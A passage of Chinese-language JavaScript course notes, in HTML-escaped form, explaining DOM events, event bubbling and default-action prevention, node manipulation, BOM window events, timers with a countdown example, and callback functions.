    var btnDom = document.querySelector(&quot;.username-input&quot;)
    btnDom.onkeydown = function(){
        console.log(&quot;按键输入&quot;)
        // 按键码
        console.log(&quot;按下的键码&quot;, event.keyCode)
        console.log(event)
        console.log(this)
    }
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/175edbdf7a-event-view2-1698821310956240.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/3b142d2d31-event-log2-1698821322972244.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2.6 表单事件&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;事件列表&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;属性&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onblur.html&quot;&gt;onblur&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;元素失去焦点时触发&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onchange.html&quot;&gt;onchange&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;该事件在表单元素的内容改变时触发( &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; 和 &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onfocus.html&quot;&gt;onfocus&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;元素获取焦点时触发&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onfocusin.html&quot;&gt;onfocusin&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;元素即将获取焦点时触发&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onfocusout.html&quot;&gt;onfocusout&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;元素即将失去焦点时触发&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-oninput.html&quot;&gt;oninput&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;元素获取用户输入时触发&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onreset.html&quot;&gt;onreset&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;表单重置时触发&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onsearch.html&quot;&gt;onsearch&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;用户向搜索域输入文本时触发 ( &lt;code&gt;&amp;lt;input=&quot;search&quot;&amp;gt;&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onselect.html&quot;&gt;onselect&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;用户选取文本时触发 ( &lt;code&gt;&amp;lt;input&amp;gt; &lt;/code&gt;和&lt;code&gt; &amp;lt;textarea&amp;gt;&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/jsref/event-onsubmit.html&quot;&gt;onsubmit&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;表单提交时触发&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;输入框的聚焦、失焦、输入。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;input class=&quot;username-input&quot;&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var btnDom = document.querySelector(&quot;.username-input&quot;)
    btnDom.onfocus = function(){
        console.log(&quot;聚焦&quot;)
        console.log(event)
        console.log(this)
    }
    btnDom.onblur = function(){
        console.log(&quot;失焦&quot;)
        console.log(event)
        console.log(this)
    }
    btnDom.onchange = function(){
        console.log(&quot;输入变化&quot;)
        console.log(event)
        console.log(this)
        console.log(this.value)
    }
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;点击输入框触发聚焦事件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/2f2b242576-event-view3-1698821331122246.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/99fbd2197c-event-log3-1698821334260248.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;输入内容&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/b1d9cf5f8b-event-view4-1698821337081250.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/aed1738f5b-event-log4-1698821339468252.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2.7 冒泡事件&lt;/h5&gt;
&lt;p&gt;​	如果多个嵌套的父子标签拥有相同的事件，则当触发子级事件时，会向上冒泡自动触发父级事件。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;stopPropagation()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;调用子级的事件参数对象的此方法，阻止子级事件冒泡。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;event.stopPropagation()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一个商品信息卡片，卡片和按钮都绑定了&lt;code&gt;click&lt;/code&gt;事件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;info-card&quot;&amp;gt;
        &amp;lt;h3&amp;gt;商品**&amp;lt;/h3&amp;gt;
        &amp;lt;button class=&quot;buy-btn&quot;&amp;gt;购买&amp;lt;/button&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    // 父级点击事件
    var cardDom = document.querySelector(&quot;.info-card&quot;)
    cardDom.onclick = function(){
        console.log(&quot;点击了父亲&quot;)
    }
    // 子级点击事件
    var btnDom = document.querySelector(&quot;.buy-btn&quot;)
    btnDom.onclick = function(){
        console.log(&quot;点击了孩子&quot;)
        event.stopPropagation()
    }

&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;事件冒泡&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/cec5542ea6-event-view5-1698821354388256.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/1731206063-event-log5-1698821357618258.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/2ca71c678a-event-log7-1698821361203260.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;添加event.stopPropagation()方法后&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/abec003d36-event-view6-1698821364700262.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/305bfedd22-event-log6-1698821367850264.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2.8 默认事件&lt;/h5&gt;
&lt;p&gt;Js很多元素有默认的事件效果，如：a标签的默认跳转、鼠标右键菜单事件、表单submit提交事件、滚动条的滚动事件等。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;preventDefault()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;调用事件参数对象的此方法，阻止默认事件。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;event.preventDefault()&lt;/code&gt;&lt;/p&gt;
&lt;h5&gt;案例&lt;/h5&gt;
&lt;p&gt;阻止表单默认提交事件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;form action=&quot;https://www.baidu.com&quot;&amp;gt;
        &amp;lt;label for=&quot;search&quot;&amp;gt;检索条件&amp;lt;/label&amp;gt;
        &amp;lt;input id=&quot;search&quot;&amp;gt;
        &amp;lt;button class=&quot;sub-btn&quot;&amp;gt;提交&amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    var subDom = document.querySelector(&quot;.sub-btn&quot;)
    subDom.onclick = function(){
        console.log(&quot;点击了提交按钮&quot;)
        // 阻止表单默认事件
        event.preventDefault()
    }
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/24505d9cb8-image-20221115171452691.png&quot; alt=&quot;image-20221115171452691&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;若没有阻止默认提交&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/ffe971dbb4-image-20221115171319398.png&quot; alt=&quot;image-20221115171319398&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(三) 节点操作&lt;/h4&gt;
&lt;h5&gt;3.1 获取dom&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;parentElement&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;获取最近的父元素节点。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;childNodes&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;元素的子节点，包括元素节点和文本节点等。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;children&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;所有子元素节点。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;firstElementChild&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第一个子元素节点。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;lastElementChild&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;最后一个子元素节点。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;nextElementSibling&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;下一个兄弟元素。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;previousElementSibling&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;上一个兄弟元素。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;father&quot;&amp;gt;
        父亲
        &amp;lt;div class=&quot;child&quot;&amp;gt;
            儿子
        &amp;lt;/div&amp;gt;
        &amp;lt;div class=&quot;brother&quot;&amp;gt;
            兄弟
            &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    // 获取父亲和孩子的dom
    var father = document.querySelector(&apos;.father&apos;)
    var child = document.querySelector(&apos;.child&apos;)

    var grandFather = father.parentElement
    console.log(&apos;1、获取父亲的父亲&apos;, grandFather);

    var childrenNodes = father.childNodes                             
    console.log(&apos;2、获取所有儿子&apos;, childrenNodes);

    var children = father.children
    console.log(&apos;3、获取所有儿子&apos;, children);

    var fathersChild = father.firstElementChild
    console.log(&apos;4、通过父亲拿孩子&apos;, fathersChild);

    var brother = father.lastElementChild
    console.log(&apos;5、通过父亲拿第一个孩子的兄弟&apos;, brother);

    var nextBrother = child.nextElementSibling
    console.log(&apos;6、通过儿子拿儿子的兄弟&apos;, nextBrother);

    var preBrother = brother.previousElementSibling
    console.log(&apos;7、通过兄弟拿上一个兄弟&apos;, preBrother);
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/8821b0c516-image-20221114183151553-1698821553482268.png&quot; alt=&quot;image-20221114183151553&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.2 创建dom&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;&lt;strong&gt;&lt;code&gt;createElement()&lt;/code&gt;&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;document.createElement(&quot;tagName&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;document.createElement(&quot;div&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.3 添加dom&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;appendChild()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在目标元素内部的最后添加一个元素。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;element.appendChild(node)&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;prepend()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在目标元素内部的最前添加一个元素。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;element.prepend(node)&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;father&quot; style=&quot;border:1px solid red&quot;&amp;gt;
        父亲
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    // 获取父亲
    var father = document.querySelector(&apos;.father&apos;)
   	// 创建孩子
    var child = document.createElement(&quot;div&quot;)
    child.className = &quot;child&quot;
    child.innerHTML = &quot;儿子&quot;
    child.style.border = &quot;1px solid green&quot;
    // 添加到父亲中
    father.appendChild(child)
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/dcf199805b-image-20221114184552091-1698821558498270.png&quot; alt=&quot;image-20221114184552091&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.4 删除dom&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;remove()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;element.remove()&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;father&quot; style=&quot;border:1px solid red&quot;&amp;gt;
        父亲
        &amp;lt;div class=&quot;child&quot; style=&quot;border:1px solid green&quot;&amp;gt;
            儿子
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    // 获取父亲
    var child = document.querySelector(&apos;.child&apos;)
    child.remove()
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/510555c2f4-image-20221114190414461-1698821562315272.png&quot; alt=&quot;image-20221114190414461&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.5 克隆dom&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;cloneNode()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;形式：&lt;code&gt;element.cloneNode(deep)&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;deep&lt;/strong&gt;：false(默认值) - 复制元素 ；   true - 复制元素和内容&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;father&quot; style=&quot;border:1px solid red&quot;&amp;gt;
        父亲
        &amp;lt;div class=&quot;child&quot; style=&quot;border:1px solid green&quot;&amp;gt;
            儿子
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    // 获取孩子
    var child = document.querySelector(&apos;.child&apos;)
    // false  克隆元素(默认值)
    // true   克隆元素和内容
    var brother = child.cloneNode(true)
    console.log(brother);
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/a7fb3871f5-image-20221114190713450-1698821565984274.png&quot; alt=&quot;image-20221114190713450&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;五、总结&lt;/h3&gt;
&lt;p&gt;1.可以使用自定义属性来达到在页面上临时存储数据。&lt;/p&gt;
&lt;p&gt;2.事件由三部分组成：1.触发事件的元素、2.对应的事件函数、3.事件的处理函数。事件操作可以分为三大类1.鼠标事件，鼠标的一切操作都是鼠标事件；2.键盘事件，一般操作是给整体加 onkeydown键盘按下 onkeyup键盘弹起 onkeypress按下之后弹起之前；3.默认事件，是由于标签默认行为组成。&lt;/p&gt;
&lt;p&gt;3.&lt;strong&gt;节点&lt;/strong&gt;包括元素和文本；通俗的来说：p标签和它里面的文字，合一块叫做节点。&lt;/p&gt;
&lt;h2&gt;JavaScript-06&lt;/h2&gt;
&lt;h3&gt;一、知识点&lt;/h3&gt;
&lt;p&gt;BOM基础、定时器、同步异步、location、history、本地存储&lt;/p&gt;
&lt;h3&gt;二、目标&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;熟悉定时器&lt;/li&gt;
&lt;li&gt;理解同步异步&lt;/li&gt;
&lt;li&gt;理解location、history&lt;/li&gt;
&lt;li&gt;理清本地存储的使用场景&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;三、内容分析&lt;/h3&gt;
&lt;h4&gt;(一) 重点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;理解同步异步&lt;/li&gt;
&lt;li&gt;理解location、history&lt;/li&gt;
&lt;li&gt;理清本地存储的使用场景&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 难点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;理解同步异步&lt;/li&gt;
&lt;li&gt;理解location、history&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;四、内容&lt;/h3&gt;
&lt;h4&gt;(一) BOM&lt;/h4&gt;
&lt;h5&gt;1.1 什么是BOM&lt;/h5&gt;
&lt;p&gt;​		浏览器对象模型，提供了与浏览器窗口交互的对象，核心对象是&lt;strong&gt;window&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;​		前面学习的alert()，prompt()都属于window对象方法。&lt;/p&gt;
&lt;h5&gt;1.2 window对象的常见事件&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;页面加载事件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当文档内容加载完执行该事件。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;对象属性绑定&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;window.onload = function() { /* 逻辑代码 */ }
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;addEventListener方法绑定&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;window.addEventListener(&apos;load&apos;, function() { /* 逻辑代码 */ })
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;窗口大小变化事件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;监听浏览器大小更改&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;对象属性绑定&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;window.onresize = function() { /* 逻辑代码 */ }
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;addEventListener方法绑定&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;window.addEventListener(&apos;resize&apos;, function() { /* 逻辑代码 */ })
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 定时器&lt;/h4&gt;
&lt;h5&gt;2.1 创建定时器&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;setTimeout()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;延迟多少时间后执行。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;setTimeout(回调函数, 延迟毫秒数)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;返回值&lt;/strong&gt;：该定时器的&lt;code&gt;id&lt;/code&gt;值，作为清除该定时器的索引。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;setTimeout(function(){
    console.log(&apos;3秒时间到了&apos;);
}, 1000 * 3)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;setInterval()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;间隔多少秒执行。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;setInterval(回调函数, 延迟毫秒数)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;返回值&lt;/strong&gt;：该定时器的&lt;code&gt;id&lt;/code&gt;值，作为清除该定时器的索引。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;setInterval(function(){
    console.log(&apos;过了1秒&apos;);
},1000)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2.2 清除定时器&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;clearTimeout()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;clearTimeout(timeoutID)&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;clearInterval()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;clearInterval(intervalID)&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var intervalTimer = setInterval(function(){
    console.log(&quot;过了1秒&quot;)
})

var timeoutTimer = setTimeout(function(){
    console.log(&quot;3秒到了&quot;)
    // 3秒后清除interval定时器
    clearInterval(intervalTimer)
}, 1000 * 3)
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;案例&lt;/h5&gt;
&lt;p&gt;实现一个验证码点击后，按钮60s倒计时。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;
    &amp;lt;label&amp;gt;请输入验证码&amp;lt;/label&amp;gt;
    &amp;lt;input name=&quot;check_code&quot; /&amp;gt;
    &amp;lt;button class=&quot;code-btn&quot; onclick=&quot;getCode(this)&quot;&amp;gt;获取验证码&amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/button&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;script&amp;gt;
    /**
     * 验证码点击事件
     * @param _this 事件中的this形参
     */
    function getCode(_this) {
        // 按钮中span标签
        var codeTiming = document.querySelector(&quot;.code-btn span&quot;)
        // 禁止按键点击
        _this.disabled = true

        // 倒计时时长
        var time = 10
        // 创建定时器
        var intervalTimer = setInterval(function () {
            // 如果时间为0
            if (time === 0) {
                // 清空计时文字
                codeTiming.innerText = &quot;&quot;
                // 清除定时器
                clearInterval(intervalTimer)
                // 允许按键点击
                _this.disabled = false
                // 结束函数
                return
            }

            // 显示计时文字 
            codeTiming.innerText = `(${time}s)`
            // 计时
            time--
        }, 1000)
    }
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/a33f16caa0-image-20221114195826048-1698821573596276.png&quot; alt=&quot;image-20221114195826048&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(三) 回调函数&lt;/h4&gt;
&lt;p&gt;​	被作为实参传入另一函数，并在该外部函数内被调用，用以来完成某些任务的函数，称为回调函数。如：定时器中的传参。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;定义主函数，有一个形参为函数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通常对于回调函数的形参命名，都会带上&lt;code&gt;callback&lt;/code&gt;、&lt;code&gt;fn&lt;/code&gt;等单词，多个回调函数时，加单词区分，如：&lt;code&gt;beginCallback&lt;/code&gt;、&lt;code&gt;beginFn&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：调用回调函数之前，要判断一下传入的数据类型，避免非函数以函数调用的形式报错。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function fn(callback){
    var text = &quot;主函数的变量&quot;
    // 调用回调函数之前，判断参数类型，避免非函数
    if(typeof callback === &quot;function&quot;){
        // 传入数据
        callback(text)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;定义函数，用作回调函数&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function callback(data){
    conole.log(&quot;我是子函数&quot;)
    console.log(data)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;调用主函数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果回调函数是一个具名函数，则将函数名传入；如果是一个变量接收的匿名函数赋值，则将变量名传入。&lt;/p&gt;
